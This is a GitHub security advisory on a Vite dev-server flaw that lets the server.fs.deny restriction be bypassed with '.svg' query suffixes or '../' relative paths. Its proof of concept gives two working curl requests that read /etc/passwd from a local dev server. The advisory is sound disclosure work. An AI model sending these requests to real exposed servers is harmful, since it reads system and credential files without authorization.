Headline
GHSA-xcj6-pq6g-qj4x: Vite allows server.fs.deny to be bypassed with .svg or relative paths
Summary
The contents of arbitrary files can be returned to the browser.
Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected…
Details
.svg
Requests ending with .svg are loaded at this line.
https://github.com/vitejs/vite/blob/037f801075ec35bb6e52145d659f71a23813c48f/packages/vite/src/node/plugins/asset.ts#L285-L290
By adding ?.svg with ?.wasm?init or with sec-fetch-dest: script header, the restriction was able to bypass.
This bypass is only possible if the file is smaller than build.assetsInlineLimit (default: 4kB) and when using Vite 6.0+.
relative paths
The check was applied before the id normalization. This allowed requests to bypass with relative paths (e.g. ../../).
PoC
npm create vite@latest
cd vite-project/
npm install
npm run dev
send request to read etc/passwd
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.